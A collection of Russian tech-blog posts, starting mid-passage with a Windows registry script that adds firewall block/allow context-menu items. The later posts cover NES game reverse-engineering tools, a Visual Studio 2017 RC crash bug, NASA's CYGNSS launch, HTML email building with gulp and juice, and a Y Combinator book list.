[HKEY_CLASSES_ROOT\exefile\shell\FWc\shell\03]
"Icon"="imageres.dll,100"
"MUIVerb"="block outbound"
[HKEY_CLASSES_ROOT\exefile\shell\FWc\shell\03\command]
@="cmd /q /c echo CreateObject(\"Shell.Application\").ShellExecute \"cmd\", \"/q /c chcp 1251 & netsh advfirewall firewall add rule name=\"\"%1\"\" dir=out action=block program=\"\"%1\"\" enable=yes | msg * \", \"\", \"runas\" > %%temp%%\\ev.vbs & cscript %%temp%%\\ev.vbs & del %%temp%%\\ev.vbs"
[HKEY_CLASSES_ROOT\exefile\shell\FWc\shell\04]
"MUIVerb"="allow outbound"
"Icon"="imageres.dll,101"
"CommandFlags"=dword:00000040
[HKEY_CLASSES_ROOT\exefile\shell\FWc\shell\04\command]
@="cmd /q /c echo CreateObject(\"Shell.Application\").ShellExecute \"cmd\", \"/q /c chcp 1251 & netsh advfirewall firewall add rule name=\"\"%1\"\" dir=out action=allow program=\"\"%1\"\" enable=yes | msg * \", \"\", \"runas\" > %%temp%%\\ev.vbs & cscript %%temp%%\\ev.vbs & del %%temp%%\\ev.vbs"
[HKEY_CLASSES_ROOT\exefile\shell\FWc\shell\06]
"MUIVerb"="Show firewall panel"
"Icon"="imageres.dll,109"
[HKEY_CLASSES_ROOT\exefile\shell\FWc\shell\06\command]
@="mmc.exe wf.msc"
; If you do not want to have uninstaller you can skip next part:
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\FWcSubMenu]
"DisplayName"="'Set firewall rules' submenu"
"DisplayIcon"="imageres.dll,102"
"UninstallString"="cmd /q /c echo Windows Registry Editor Version 5.00>%TEMP%\\pr.reg & echo.>>%TEMP%\\pr.reg & echo [-HKEY_CLASSES_ROOT\\exefile\\shell\\FWc]>>%TEMP%\\pr.reg & echo.>>%TEMP%\\pr.reg & echo [-HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\FWcSubMenu]>>%TEMP%\\pr.reg & regedit /s %TEMP%\\pr.reg & del %TEMP%\\pr.reg"
"DisplayVersion"="1.1"
"URLInfoAbout"="http://habrahabr.ru/post/317802/"
"NoModify"=dword:00000001
"NoRepair"=dword:00000001
Замечу, что, в отличие от первой утилитки, здесь клик на одном пункте не отменяет другие, т.е. создание запрещающего правила не стирает разрешающее, и наоборот. Сделано это на случай, когда создается несколько правил на одну программу и в дальнейшем каждое уточняется (по портам, адресам, режимам, и т.д.). Таким образом, если кликнуть и на «allow», и на «block», будет создано 2 правила, а сетевой доступ программе будет закрыт (запрещающие правила имеют приоритет перед разрешающими).
Деинсталляция для обеих утилит штатная – заходим в «Программы и компоненты» и удаляем:
P.S. Друзья, благодаря вашим отзывам улучшил отображение подменю в Win10, исходники обновлены до версии 1.1 | https://habrahabr.ru/post/317802/ |
habrahabr | Создание инструментов для исследования NES-игр | ['hack', 'nes', 'tools'] | Я решил продолжить серию публикаций про внутреннее устройство NES-игр, на этот раз я расскажу об используемых мной инструментах для исследований.
Большая часть того, что необходимо... | Я решил продолжить серию публикаций про внутреннее устройство NES-игр, на этот раз я расскажу об используемых мной инструментах для исследований.
Большая часть того, что необходимо исследователю, уже есть в эмуляторе FCEUX , который хорошо подходит для отладки игр. В документации стоит досконально изучить раздел Debug , каждый инструмент оттуда полезен исследователю, причём умение использовать их совместно друг с другом усиливает возможности хакера.
Однако я не буду пересказывать документацию, а остановлюсь на случаях, когда возможностей эмулятора оказывается мало и необходимо добавить новые, либо же когда существуют необычные способы найти желаемое в ROM-файле напрямую, в обход длительного изучения кода игр. Использование Lua-скриптов
Собственно, первый способ, пример которого приведён на картинке для привлечения внимания – создание вспомогательных инструментов с помощью встроенного в эмулятор интерпретатора Lua-скрипт.
На примере выше для исследования игры (и просто читерского прохождения, при желании) используется такая возможность скриптов, как вывод изображений на экран поверх отрисовываемой эмулятором картинки .
Таким образом исследователь может заметить то, что недоступно обычному игроку, например, на скриншоте выше из трёх скрытых бриллиантов игрок может допрыгнуть только до первых двух, и никаким образом не может взять третий или даже просто догадаться об его существовании. В «Утиных историях 2» встречаются даже такие драгоценности, которые вообще размещены за пределами игрового уровня.
Другой пример скрипта с выводом на экран дополнительных данных – компас до ближайшего драгоценного камня в «Книге Джунглей»:
Естественно, визуализация информации из оперативной памяти или ROM игры не единственная возможность скриптов.
Другая часто используемая возможность – логгирование происходящего в коде игры , например, шаблон скрипта для дампа разархивированных данных сразу после их распаковки (для SMD игр, но принцип применим и для NES).
Ну, и никто не запрещает создание на Lua-скриптах полноценных утилит , вроде уже включённого в эмулятор редактора нажатых клавиш TasEditor .
Также, на мой взгляд, недооцененной является идея частичного переписывания кода игры на скриптах , когда игровые данные патчатся скриптом на лету для модификации геймплея. Proof-of-concept такого скрипта, модифицирующего врагов в «New Ghostbusters 2»:
Однако, для сложной обработки конкретной игры или создания новых методов хака стоит задуматься об использовании следующего метода. Модификация исходного кода эмулятора
Здесь есть где разгуляться фантазии на разные темы, не касающиеся исследования игр, вроде добавления в эмуляторы поддержки достижений , 3d-рендера или улучшенной графики , однако я попытаюсь удержаться в рамках темы статьи.
Одно из направлений расширения эмулятора с целью улучшения возможностей для реверс-инженерии – прокидывание как можно большего числа его внутренних возможностей в Lua-библиотеки . Во второй статье цикла я уже показывал, как с помощью прокидывания всего пары новых функций появилась возможность сделать универсальный (подходящий для исследования любой игры) инструмент для исследования.
Другой простой и полезный пример, который пока ещё отсутствует в последней версии эмулятора – возможность модификации из скрипта памяти PPU .
Модификация эмулятора может также использоваться для того, чтобы встроить в него редактор для конкретной игры с возможностью на лету запустить её и проверить внесённые изменения: Скрипты для статического анализа кода игры
Предыдущие две категории модификаций касались динамического анализа игры в ходе её выполнения. Однако большая часть исследования – это статический анализ ROM-файла игры (или дампов каких-либо данных из него).
Основной программой для такого анализа кода является интерактивный дизассемблер IDA . Он поддерживает ассемблер 6502, однако требует как плагина для правильной загрузки файлов в формате nes , так и набора скриптов для автоматизации рутинных действий по преобразованию загруженного файла в причёсанный код. Набор скриптов, специфичных для исследования NES-игр собран тут .
Сами скрипты для IDA могут быть написаны на встроенном языке команд idc или python , в любом случае лучше всего открыть их текстовым редактором и изучить, в большинстве случаев это помогает лучше понять команды самого IDA, которые пригодятся в работе с ним и научиться писать такие скрипты самому. Это очень пригодится, когда понадобится провести несколько сотен однотипных действий, вроде объединения байт в поинтеры или выделения массивов по некоторым правилам. Инструменты для статического анализа данных игры
IDA хороший инструмент для анализа кода, настолько хороший, что некоторые гуру исследования игр даже считают, что только его достаточно для исследования и изменения игр. Однако, даже имея на руках разобранную до компилируемых и прокомментированных исходников игру, сложно модифицировать игровые данные – уровни, графические карты, анимации персонажей. К сожалению, формат игровых данных часто сильно отличается от игры к игре, поэтому создать универсальные инструменты, подходящие для большинства игр, достаточно трудно. Редакторы тайловых карт
Формат хранения графических банков (самый низкий уровень хранения графики) стандартный для всех игр NES, поэтому существует множество редакторов тайловых карт , однако, среди них я не нашёл ни одной библиотеки, которая позволяла бы рендерить эти тайлы в своём приложении.
Такими программами можно редактировать тайлы графики в играх с наличием CHR-ROM – целыми банками графики. В других играх используется CHR-RAM – видеопамять тайлов в них считывается частями из банка с данными и кодом и копируется в видеопамять (при этом иногда достаточно хитрыми способами, но о них скорее лучше рассказывать в статье о компрессии данных).
На более высоком уровне игры отличаются уже настолько, что общих программ для редактирования практически нет, максимум существуют редакторы, охватывающие несколько игр на одном движке. Про свои попытки сделать универсальный редактор уровней я напишу в конце статьи, пока же приведу ещё несколько общих идей, как находить данные в играх, и утилит, реализующих эти идеи.
В качестве языка реализации я использую python за то, что на нём можно быстро и просто проверить какую-либо догадку, иногда даже прямо в интерактивном режиме. Коррапт ROM
Собственно, как раз про эту идею была вторая статья цикла – если перебрать все возможные варианты изменения одного байта в ROM и посмотреть, как это отразится на экране, то это может помочь прояснить внутреннюю структуру игры. После этого возможно даже составить простой вариант редактора игры – нужно заготовить набор картинок-блоков верхнего уровня, из которых строится экран, не вникая до конца, как строятся сами эти картинки из данных ROM и отобразить массив этих картинок, обнаруженный этим методом. Поиск блоков
Можно также зайти с другой стороны.
Фон, который отображается на экране, задаётся массивом индексов тайлов видеопамяти по фиксированному адресу PPU – для NES существует 4 экранные страницы, которые в зависимости от настроек PPU могут разными способами выводится на экран. Не важно, что именно будет на экране, достаточно просто захватить какую-нибудь загруженную страницу для анализа.
Первая экранная страница (Name Table) расположена по адресам PPU $2000-$23BF. Её содержимое в эмуляторе FCEUX можно посмотреть в окне Debug → Name Table Viewer :
А также в виде байт в окне Debug → Hex Editor, View → PPU Memory (перейти по адресу $2000).
Здесь же можно сделать дамп всей видеопамяти, который пригодится нам для анализа ( File → Dump to File → PPU Memory ).
Это просто массив из 960 индексов маленьких тайлов видеопамяти размером 8x8 пикселей. При этом, после реверса большого числа игр известно, что игровые экраны часто описываются блоками большего размера, например, 16x16 или 32x32 пикселей. Таким образом, если мы предположим некоторый размер блока (для начала попробуем самые стандартные – 2x2 тайла, выделены на скриншоте красной рамкой), то мы можем разбить данные из экранной страницы на участки, в каждом из которых окажется описание одного блока.
Так получается список из всех блоков, которые присутствуют на экране. Причём у нас «чистые» описания блоков, без информации о спрайтах персонажей (спрайты рисуются другим способом), и независимый от анимации (анимации фона практически всегда делаются с помощью изменений палитры либо самой видеопамяти, номера тайлов в Name Table остаются неизменными). Однако мы не знаем номера блоков.
У нас есть описание блоков на экране, но мы не знаем их порядок хранения в ROM. Тем не менее, мы можем с некоторой вероятностью предположить, где именно расположено описание блоков. Алгоритм для этого такой:
1. Проходим по всему ROM и размечаем все адреса, по которым обнаруживается какой-нибудь блок, при этом сохраняем его номер (настоящий номер может быть другой, нам важно отметить только отличия блоков друг от друга).
2. Находим область в ROM, в которой обнаружено наибольшее количество РАЗНЫХ блоков. С наибольшей вероятностью именно это и есть описание блоков. https://gist.github.com/spiiin/500262e8d9da86f10a093bbb41833360
Таким образом, мы можем найти блоки размером 2x2 в играх, в которых они хранятся последовательно.
Это уже неплохо, но есть способ кардинально улучшить результаты работы алгоритма. Дело в том, что существует ограниченное количество основных размеров блоков и способов их хранения в ROM, и мы можем перебрать их все.
Основные размеры блоков: 2x2, 4x2, 2x4 и 4x4, но в случае необходимости легко добавить и другие размеры.
Со способом хранения их в ROM немного хитрее, блоки могут храниться как линейно, так и разбитыми на части массивами ( Structure of Arrays , сокращенно SoA ), т.е. сначала в ROM хранится массив только первых частей блоков, за ним — массивы со следующими частями. Чаще всего такие массивы хранятся друг за другом, при этом промежуток между началами массивов равен количеству блоков. Чтобы найти в ROM такие SoA-массивы, мы должны узнать их длину, что можно сделать перебором всех вариантов (частенько в играх используется по 256 блоков, так что начинать проверку стоит с этого числа и постепенно его уменьшать).
Всё это выглядит достаточно запутанно, ведь мы опираемся только на вероятность того, что игра использует определённый вид блоков, но на практике утилита находит блоки в 80-90% проверенных игр! https://github.com/spiiin/NesBlockFinder
Вдобавок, она позволяет отсеять игры с необычной структурой (неблочной), чтобы пристальнее их изучить. Сравнение CDL-файлов
Эмулятор FCEUX умеет в ходе эмуляции каждую инструкцию отмечать, какие байты были интерпретированы как код, а какие – как данные (меню Debug → Code/Data Logger... ). Эта фича полезна сама по себе и тесно интегрирована с другими отладочными возможностями эмулятора – попробуйте включить этот режим и посмотреть, как изменились другие отладочные окна. Однако, я хочу рассказать об её одном частном применении. Если сохранить два таких cdl-файла, один ДО совершения изучаемого действия, а другой сразу же ПОСЛЕ его окончания, то разница между двумя такими файлами покажет только те данные (или код), которые были использованы во время совершения действия. При грамотном отсечении можно найти нужные данные, всего лишь правильно выбрав два момента времени между измеряемыми событиями.
Формат файла достаточно прост , как и скрипт сравнения , но пользы он может принести очень много, на нём вообще можно построить отдельную методологию отладки. Компрессоры/Декомпрессоры
Эту тему невозможно раскрыть в паре абзацев, да и она будет слишком упрощённой в контексте только NES-игр, поэтому она заслуживает отдельной статьи. Универсальный редактор уровней CadEditor
Собственно, изначально эта программа создавалась для отображения уровней в игре «Chip & Dale» ( C hip A nd D ale Editor ), дальше по просьбам она была переделана в редактор и со временем обрастали поддержкой других игр Capcom («Darkwing Duck», «Duck Tales 1-2», «Tale Spin», «Little Mermaid»).
Позже выяснилось также, что принципы блочного построения уровней в этих играх очень похожи на способы организации уровней из многих других игр, однако дьявол кроется в деталях – мелкие отличия в каждой игре требуют описывать внутренние структуры редактора максимально гибко, чтобы с помощью комбинаций этих структур можно было описать формат уровней для игр, для которых он изначально не предназначался, без изменения ядра самого редактора.
Фича, с помощью которой обеспечивается универсальность редактора – так называемые конфиги игр . Это скриптовые файлы на языке C#, в которых описано, как именно загружать данные конкретной игры. Почему именно C#? Редактор уже был написан на этом языке и это позволило легко переносить код из ядра в конфиги, не меняя его, что пришлось бы делать, если бы использовался более классический скриптовый язык, вроде Lua.
Использование полноценного языка вместо простого файла настроек позволяет описывать в конфигах свои функции загрузки и сохранения данных любой требуемой сложности. Скрипты представляют собой обычные текстовые файлы, что позволяет пользователям в случае необходимости создавать свой конфиги без перекомпиляции редактора, используя уже существующие конфиги в качестве шаблонов. В комплекте с редактором идут около 500 конфигов для 60 разных игр, около 100 из них сделаны пользователями редактора без моего участия, для игр, в некоторые из которых я даже никогда не играл:
Однако в данный момент, несмотря на попытки сделать универсальный редактор, обнаруживаются игры, которые невозможно описать без модификации самого редактора (тем не менее, множество игр уже можно добавить и так). Чтобы собирать информацию о таких играх с необычной структурой, я пошёл ещё немного дальше и начал использовать сам редактор как библиотеку для Python , чтобы исследовать формат игр перед добавлением их в редактор и тестировать правильность понимания построения уровня конкретной игры. Я реализовал это в виде блокнотов Jupyter , из-за того, что в них удобно как писать код в интерактивном режиме, так документировать его .
Составление из базовых тайлов больших игровых структур и сборка в итоге целого уровня напоминает сборку пазла из тысяч кусочков, и доставляет такое же удовольствие, когда, наконец, каждый кусочек оказывается на своём месте.
В следующей статье не будет такого обилия технической информации и я приведу примеры сборки уровней игр с нестандартной структурой или использованием необычных модификаций стандартной блочной архитектуры. Также вы можете в комментариях назвать игру на NES, формат уровней которой интересен вам, возможно, я исследую и её тоже. | https://habrahabr.ru/post/317796/ |
habrahabr | Баг в Visual Studio 2017 RC при использовании новых возможностей C# 7 | ['c# 7', 'visual studio 2017 rc', 'visual studio', 'c#', 'microsoft', 'баги'] | Многие из вас, те кто из мира .NET, наверное уже в курсе, что не так давно (месяц назад) Microsoft выпустила Visual Studio 2017 RC, в комплекте с которой разумеется идет C# 7. Что называется на суд... | Многие из вас, те кто из мира .NET, наверное уже в курсе, что не так давно (месяц назад) Microsoft выпустила Visual Studio 2017 RC, в комплекте с которой разумеется идет C# 7. Что называется на суд энтузиастов. Изучая возможности новой версии, у меня внезапно упала Visual Studio. Каким образом — читайте под катом.
Итак, для воспроизведения бага вам понадобиться Visual Studio 2017 RC . Далее создаем консольное приложение и вставляем этот незамысловатый код: class Program
{
class IwillCrash
{
public void Deconstruct(out int x) { x = 0; }
}
static void Main(string[] args)
{
//var (x) = new IwillCrash(); // BOOM! deconstruction feature crashes VS2017 RC
}
}
Для тех кто не понял код, давайте разберемся, что он означает. Здесь используются такие нововведения C# 7 как:
— Tuples — кортежи
— Deconstruction — так и переводиться
Кортежи, скажем так, очередной синтаксический сахар языка.
Раньше было: Tuple<int, string> MyFunc(Tuple<decimal, long> param)
Теперь можно: (int, string) MyFunc( (decimal, long) param )
Учтите, что для использования этой возможности нужно установить сборку System.ValueTuple. Install-Package «System.ValueTuple» -IncludePrerelease
Деконструкция, а точнее деконструкция-декларация или разрушающая декларация (deconstructing declaration) — это возможность разобрать кортеж на переменные, с одновременным их определением.
Например так: (string first, string middle, string last) = LookupName(id1);
Где метод объявлен таким образом: (string, string, string) LookupName(long id)
Результатом конструкции выше, будет декларация трех новых переменных: first, middle, last, которые вернет метод LookupName как кортеж. Другими словами, кортеж разобъется на три переменных.
Разрушающая декларация применима не только к кортежам, но и к пользовательским классам. Одним условием является определение метода-деконструктора с именем Deconstruct. Как в примере выше. Эта возможность позволяет разбивать объект класса на составные части.
Пример: class Point
{
public void Deconstruct(out int x, out int y) { x = 1; y = 2; }
}
(var myX, var myY) = new Point(); // вызывает Deconstruct(out myX, out myY);
Как вы поняли, в результате у нас будет myX=1, myY=2 .
Вроде во всем разобрались. Теперь сделайте вдох и разкомментируйте код, который в начале поста. Фокус удался — студия пропала, тестировщиков наверное уволили, и одним тикетом в дашбоарде разработчиков студии стало больше.
Хотя, справедливости ради, для .NET Core этот код работает. Может это такая хитрая задумка?
В релизе должно быть исправлено, так как в баг репорт отправили до появления поста.
→ Хорошое описание новых возможностей C# 7 можной найти тут (англ.)
UPD: По просьбе хабраюзера Varim в комментариях, я таки нашел место, где Microsoft держит список известных багов в Visual Studio. Описанный в посте баг — здесь . | https://habrahabr.ru/post/317804/ |
habrahabr | НАСА запустило спутники с ракеты, запущенной с самолёта | ['Pegasus', 'CYGNSS'] |
Иголка — в яйце, яйцо — в утке, утка — в зайце, заяц… Ну вы помните все это, правда? В НАСА вряд ли много сотрудников слышало о Кощее Бессмертном, но многоступенчатый принцип работы различных... |
Иголка — в яйце, яйцо — в утке, утка — в зайце, заяц… Ну вы помните все это, правда? В НАСА вряд ли много сотрудников слышало о Кощее Бессмертном, но многоступенчатый принцип работы различных систем там применяют часто. Так вот, агентство успешно запустило целое созвездие спутников системы Cyclone Global Navigation Satellite System ( CYGNSS ) с ракеты, которая, в свою очередь, была запущена с самолета.
Для запуска ракеты было принято решение использовать носитель L-1011 Stargazer. Это самолет, который взлетел на высоту в 12 километров. Здесь от него отстыковалась ракета Orbital ATK Pegasus XL. Следующий этап — свободное падение ракеты в течение пяти секунд с последующей активацией основного двигателя, который вынес ракету с несколькими спутниками на орбиту Земли.
Спустя 14 минут после запуска ракета Pegasus отправила «на работу» свой полезный груз. Это произошло на высоте в 508 километров над поверхностью планеты.
Полезный груз — специальная капсула доставки, на которой и размещались спутники. На заданной высоте все они отстыковались от материнского аппарата и начали выполнять функции.
Стоит отметить, что весь этот проект обошелся агентству в $157 миллионов. НАСА, несмотря на огромный бюджет, выделенный специальной комиссией Конгресса, не смогло бы выполнить задачу. Поэтому потребовалась помощь партнеров. Ими стали Мичиганский институт и Юго-Западный исследовательский институт из Сан-Антонио.
Изначально запуск самолета с ракетой, капсулой и спутниками был запланирован на понедельник . Но пришлось пропустить три дня из-за проблемы с гидравлической системой отстыковки ракеты, а также и по более прозаической причине — в понедельник была неподходящая для запуска погода.
Восемь спутников CYGNSS теперь займутся изучением метеорологических и климатических условий ряда регионов нашей планеты. Например, аппараты помогут определять интенсивность ураганов и тропических циклонов с небывалой до настоящего момента точностью. Спутники будут вести наблюдение лишь за зоной, где возникают тропические ураганы, в этом проекте не предусмотрен мониторинг других областей.
На борту каждого спутника CYGNSS установлен Delay Doppler Mapping Instrument (отображение радиолокационных данных с доплеровским сдвигом частоты), который включает в себя многоканальный GPS-приёмник, зенитную антенну низкого усиления и 2 надирные антенны с высоким коэффициентом усиления. Эти инструменты позволяют аппаратам обнаруживать и измерять отраженные от поверхности океанов сигналы GPS спутников. В случае появления урагана радиосигналы смогут дать представление о скорости ветра в этом регионе, а также о конфигурации самого урагана. Система спутников может проводить 32 измерения в секунду, обеспечивая невиданную прежде точность оценки интенсивности ураганов. Прямые сигналы спутники тоже улавливают, и с их помощью определяется точное местоположение аппаратов в космическом пространстве.
Благодаря новой системе специалисты получают возможность анализа развития ураганов, находясь вдали от них. «Мы можем узнать скорость ветра, находясь вне бури благодаря нашим системам», — заявил климатолог Крис Руф (Chris Ruf). Руф — научный руководитель миссии CYGNSS. По его словам, база знаний климатологов об урагане неполная, а спутники помогут устранить этот пробел. Задача спутников — не только определение силы ветра. Аппараты должны изучать взаимное влияние поверхности океана, термодинамики атмосферной влажности, радиации и конвективной динамики. Это необходимо для определения условий формирования тропических ураганов. Способ, по мнению специалистов, позволит определять в каждом конкретном случае, будет ли ураган набирать силу или нет. Ученые смогут изучить процессы, происходящие рядом с ядром бури, что невозможно при использовании прямого наблюдения. Процессы, происходящие в центре, очень быстро меняются, но именно они играют важнейшую роль в развитии урагана.
Проект стартовал в июне 2012 года. Каждый из микроспутников весит 27,5 килограммов. Спутники равномерно рассредоточены в одной орбитальной плоскости, это позволяет им возвращаться в исходную точку наблюдения каждые 6 часов. Наблюдение за ураганами будет вестись в течение двух сезонов.
CYGNSS — первая завершенная миссия НАСА в рамках программы НАСА Earth Venture . Эта программа включает в себя проекты, которые можно быстро развивать, и стоимость которых не составляет миллиарды долларов. Главная цель программы — изучение текущего состояния нашей планеты, включая атмосферу и гидросферу для того, чтобы человек научился предсказывать возможные изменения, например, климата. | https://geektimes.ru/post/283796/ |
habrahabr | Отправка электронной почты в формате HTML | ['html', 'mail', 'juice', 'premailer'] | Введение
Почти в каждом проекте приходится думать об отправке писем по электронной почте. Основными требованиями при этом являются, помимо надежности доставки, привлекательность и удобство... | Введение Почти в каждом проекте приходится думать об отправке писем по электронной почте. Основными требованиями при этом являются, помимо надежности доставки, привлекательность и удобство электронных писем. Основные нюансы при формировании таких писем: Все стили должны встраиваться (inline) в виде атрибута style для конкретного HTML-элемента.
Все изображения должны встраиваться, либо как отдельные вложения в в письме, либо в виде base64-кодированных данных (второе банально удобнее).
Письмо должно поддерживать DKIM (настройка мэйлера), а домен отправителя — содержать SPF -запись.
Ранее я использовал для формирования HTML-писем проект Premailer , созданный на Ruby. Пришлось даже заняться поддержкой проекта (сейчас времени на это нет, мэйнтейнеры приветствуются). Сейчас же хотелось избежать внедрения Ruby, в то время, как Node проник везде. Juice К счастью, современная экосистема Node предоставляет богатые возможности по формированию электронных писем. Мы выбрали цепочку по формированию электронной почты в виде pug -шаблонов, преобразованию оных с помощью juice и подстановки конкретных данных на бэкэнде (у нас это Perl). Предполагается, что Вы используете node 6+ , babel (es2015, es2016, es2017, stage-0 presets). Установка npm install gulp-cli -g
npm install gulp --save-dev
npm install del --save-dev
npm install gulp-rename --save-dev
npm install gulp-pug --save-dev
npm install premailer-gulp-juice --save-dev
npm install gulp-postcss --save-dev
npm install autoprefixer --save-dev
npm install gulp-less --save-dev gulpfile.babel.js: 'use strict';
import gulp from 'gulp';
import mail from './builder/tasks/mail';
gulp.task('mail', mail); builder/tasks/mail.js: 'use strict';
import gulp from 'gulp';
import stylesheets from './mail/stylesheets';
import templates from './mail/templates';
import clean from './mail/clean';
const mail = gulp.series(clean, stylesheets, templates);
export default mail; builder/tasks/mail/stylesheets.js 'use strict';
import gulp from 'gulp';
import config from 'config';
import rename from 'gulp-rename';
import postcss from 'gulp-postcss';
import autoprefixer from 'autoprefixer';
import less from 'gulp-less';
const stylesheetsPath = config.get('srcPath') + '/mail/stylesheets';
const stylesheetsGlob = stylesheetsPath + '/**/*.less';
const mailStylesheets = () => {
return gulp.src(stylesheetsGlob)
.pipe(less())
.pipe(postcss([
autoprefixer({browsers: ['last 2 versions']}),
]))
.pipe(gulp.dest(stylesheetsPath));
};
export default mailStylesheets; builder/tasks/mail/templates.js: 'use strict';
import gulp from 'gulp';
import config from 'config';
import pug from 'gulp-pug';
import rename from 'gulp-rename';
import juice from 'premailer-gulp-juice';
const templatesPath = config.get('srcPath') + '/mail';
const mailPath = config.get('mailPath');
const templatesGlob = templatesPath + '/**/*.pug';
const mailTemplates = () => {
return gulp.src(templatesGlob)
.pipe(rename(path => {
path.extname = '.html';
}))
.pipe(pug({
client: false
}))
.pipe(juice({
webResources: {
relativeTo: templatesPath,
images: 100,
strict: true
}
}))
.pipe(gulp.dest(mailPath));
};
export default mailTemplates; builder/tasks/mail/clean.js: 'use strict';
import del from 'del';
import gutil from 'gulp-util';
const clean = done => {
return del([
'mail/*.html',
'src/mail/stylesheets/*.css'
]).then(() => {
gutil.log(gutil.colors.green('Delete src/mail/stylesheets/*.css and mail/*.html'));
done();
});
};
export default clean; Типичный шаблон выглядит так (generic.pug): include base.pug
+base
tr(height='74')
td.b-mail__table-row--heading(align='left', valign='top') Привет,
tr
td(align='left', valign='top')
| <%== $html %> Где base.pug: mixin base(icon, alreadyEncoded)
doctype html
head
meta(charset="utf8")
link(rel="stylesheet", href="/stylesheets/mail.css")
body
table(width='100%', border='0', cellspacing='0', cellpadding='0')
tbody
tr
td.b-mail(align='center', valign='top', bgcolor='#ffffff')
br
br
table(width='750', border='0', cellspacing='0', cellpadding='0')
tbody.b-mail__table
tr.b-mail__table-row(height='89')
tr.b-mail__table-row
td(align='left', valign='top', width='70')
img(src='/images/logo.jpg')
td(align='left', valign='top')
table(width='480', border='0', cellspacing='0', cellpadding='0')
tbody
if block
block
td(align='right', valign='top')
if alreadyEncoded
img.fixed(src!=icon, data-inline-ignore)
else if icon
img.fixed(src!=icon)
br
br
tr
td(align='center', valign='top') Собственно, болванка готова, шаблоны компилируются. Формирование модуля config тривиально и необязательно. Готовая болванка репозитория здесь: https://github.com/premailer/gulp-juice-demo gulp mail ViewAction и т.п. Многие почтовые клиенты, такие, как GMail/Inbox, поддерживают специальные действия в режиме просмотра сообщений. Внедрить их проще простого, добавив в содержимое сообщения следующие тэги: div(itemscope, itemtype="http://schema.org/EmailMessage")
div(itemprop="action", itemscope, itemtype="http://schema.org/ViewAction")
link(itemprop="url", href="https://github.com/imlucas/gulp-juice/pull/9")
meta(itemprop="name", content="View Pull Request")
meta(itemprop="description", content="View this Pull Request on GitHub") Подробнее можно прочесть в разделе Email Markup . Ну и немного интеграции с (выберите свой язык, тут нужен был Perl) sub prepare_mail_params {
my %params = %{ shift() };
my @keys = keys %params;
# Camelize params
for my $param ( @keys ) {
my $new_param = $param;
$new_param =~ s/^(\w)/\U$1\E/;
next if $new_param eq $param;
$params{$new_param} = delete $params{$param};
}
%params = (
Type => 'multipart/mixed; charset=UTF-8',
From => 'support@ourcompany.co.uk',
Subject => '',
%params,
);
# Mime params
for my $param ( keys %params ) {
$params{$param} = encode( 'MIME-Header', $params{$param} );
}
return \%params;
}
sub _template_processor {
state $instance = Mojo::Template->new(
vars => 1,
auto_escape => 1,
);
return $instance;
}
sub send_mail {
my %params = %{ shift() };
my $html = (delete $params{message}) // '';
my $template = delete $params{template};
my $stash = (delete $params{stash}) // {};
unless ( $template ) {
$template = 'generic';
$stash->{html} = $html;
}
$html = _template_processor()->render_file(
Config->directories->{mail}. "/$template.html",
$stash,
);
$html = encode_utf8( $html );
my $msg = MIME::Lite->new(
%{ prepare_mail_params( \%params ) }
);
$msg->attach(
Type => 'HTML',
Data => $html,
);
if ( $mail_settings->{method} eq 'sendmail' ) {
return $msg->send();
}
if ( $mail_settings->{method} eq 'smtp' ) {
return $msg->send('smtp', $mail_settings->{host}, Timeout => $mail_settings->{timeout});
}
croak "Unknown Config mail.method: ". $mail_settings->{method};
} Полезные ссылки Исходный код проекта по данной статье.
Подборка: 40+ полезных инструментов, ресурсов и исследований о работе с email
MJML — Удобный препроцессор электронных писем со своим синтаксисом, включает в себя gulp-mjml . Спасибо Icewild за наводку.
Foundation for Emails 2 . Ещё один препроцессор писем с расширенным HTML-синтаксисом и CSS-фреймворком. Спасибо A1MaZ за наводку.
P.S.: Спасибо pstn за доработки шаблонов писем. | https://habrahabr.ru/post/317810/ |
habrahabr | Книги, рекомендованные Y Combinator на зимние каникулы 2016-2017 | ['Книги', 'что почитать', 'стратегическое мышление', 'стартапы', 'y combinator', 'edisonsoftware'] | «Чтение и личный опыт формируют мировоззрение. И даже если вы не помните самый момент получения опыта или содержания книги, то их влияние на ваше представление о мире непременно остается в Вас. Ваш... | «Чтение и личный опыт формируют мировоззрение. И даже если вы не помните самый момент получения опыта или содержания книги, то их влияние на ваше представление о мире непременно остается в Вас. Ваш разум похож на скомпилированную программу без исходного кода — он работает, но не ясно как.»
— Пол Грэм, основатель Y Combinator, программист, инвестор, эссеист
Очередная подборка книг от крутейшего в мире бизнес-инкубатора кремниевой долины. The Idea Factory: Bell Labs and the Great Age of American Innovation
«Удивительно плодотворная компания Bell Labs изобрела транзисторы, теорию информации, Unix. Очень интересно узнать, как она была устроена изнутри. Научные работники Bell Labs выполнили фундаментальное исследование, допускающее дальнейшие изыскания, однако оно затрагивало в основном лишь те проблемы, с которыми сталкивалась материнская компания AT&T при внедрении и распространении своей продукции. Это заставило меня серьезно задуматься о том, какими принципами должны прежде всего руководствоваться компании при определении целей и способов развития фундаментальных исследований.»
— Matt Krisiloff Strangers in Their Own Land
«Книга про консервативную Америку. Помогает понять как думает половина населения страны.»
— Jared Friedman The Rent Is Too Damn High
«Завораживающий взгляд на то, какое влияние на экономику оказали высокие цены на жилье.»
— Jared Friedman City of Gold: Dubai and the Dream of Capitalism
«Рассказ о том, как строились Дубаи.»
— Jared Friedman Don Quixote
«Будет полезно прочитать про мечтателя, который продолжал свое дело, несмотря на то, что очень часто огребал люлей.»
— Aaron Harris Titan
«Только что закончил читать Титана. Это лучший анализ того, как монополия набила силу благодаря информационным технологиям. Лучшее что я встречал на этут тему.»
— Aaron Harris Grit
«Лучшая книга которую я прочитал на тему того, как обнаружить и создать страсть/вдохновение. Мне нравится ее тезис о двойной роли „усилий“.
Талант * Усилие = Навык
Навык * Усилие = Достижение»
— Anu Hariharan Pandaemonium: The Coming of the Machine As Seen by Contemporary Observers, 1660-1886
«Невероятное чтиво. И тот факт, что мы сейчас находимся посреди революции софта, еще сильнее придает важность тому, чтобы понимать, как думали люди, совершавшие промышленную революцию.»
— Sam Altman Shoe Dog: A Memoir by the Creator of Nike
Рекомендует Geoff Ralston. The Holy or the Broken: Leonard Cohen, Jeff Buckley, and the Unlikely Ascent of ‘Hallelujah’
Рекомендует Geoff Ralston. The Enemy
«Мой первый роман от Джека Ричера. Довольно весело.»
— Geoff Ralston. Mr. Midshipman Hornblower
